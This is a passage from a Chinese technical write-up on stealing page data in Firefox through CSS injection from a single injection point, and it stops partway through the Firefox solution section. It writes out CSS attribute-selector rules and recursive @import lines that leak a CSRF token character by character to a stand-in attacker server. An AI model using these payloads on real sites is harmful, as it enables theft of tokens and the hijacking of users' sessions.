Firefox中单一注入点上的CSS数据泄露
字数 1366 2025-08-20 18:17:07

Firefox中通过单一注入点的CSS数据泄露技术分析

1. 技术背景与基础概念

CSS数据泄露是一种在受限制环境下(如存在CSP策略)通过样式表窃取网页数据的攻击技术。传统方法需要多次注入和页面重载,而本文介绍的技术实现了通过单一注入点在Firefox中完成数据泄露。

1.1 传统CSS数据泄露方法

传统方法使用属性选择器逐步泄露数据,例如:

input[name='csrftoken'][value^='a'] {
  background: url(//ATTACKER-SERVER/leak/a);
}
input[name='csrftoken'][value^='b'] {
  background: url(//ATTACKER-SERVER/leak/b);
}
/* ... */

这种方法需要:

  1. 为每个可能的字符创建规则
  2. 通过背景URL请求泄露第一个字符
  3. 根据第一个字符重新加载样式表泄露后续字符
  4. 重复此过程直到获取完整数据

2. 单一注入点技术原理

2.1 Chrome中的实现(Pepe Vila/Nathanial Lattimer方法)

通过CSS递归导入实现单一注入点攻击:

@import url(//ATTACKER-SERVER/polling?len=0);
@import url(//ATTACKER-SERVER/polling?len=1);
@import url(//ATTACKER-SERVER/polling?len=2);
/* ... */

工作流程:

  1. 只有第一个@import返回样式表,其他阻塞
  2. 第一个@import泄露第一个字符
  3. 泄露到达服务器后,第二个@import停止阻塞并返回包含第一个字符的样式表
  4. 重复此过程泄露后续字符

2.2 Firefox的特殊性

Firefox处理样式表的方式与Chrome不同:

  1. 同步处理:在所有@import处理完成前不会应用任何CSS规则
  2. 连接限制:默认最多维持6个并发TCP连接

3. Firefox中的解决方案

3.1 分离样式表

将每个@import放在单独的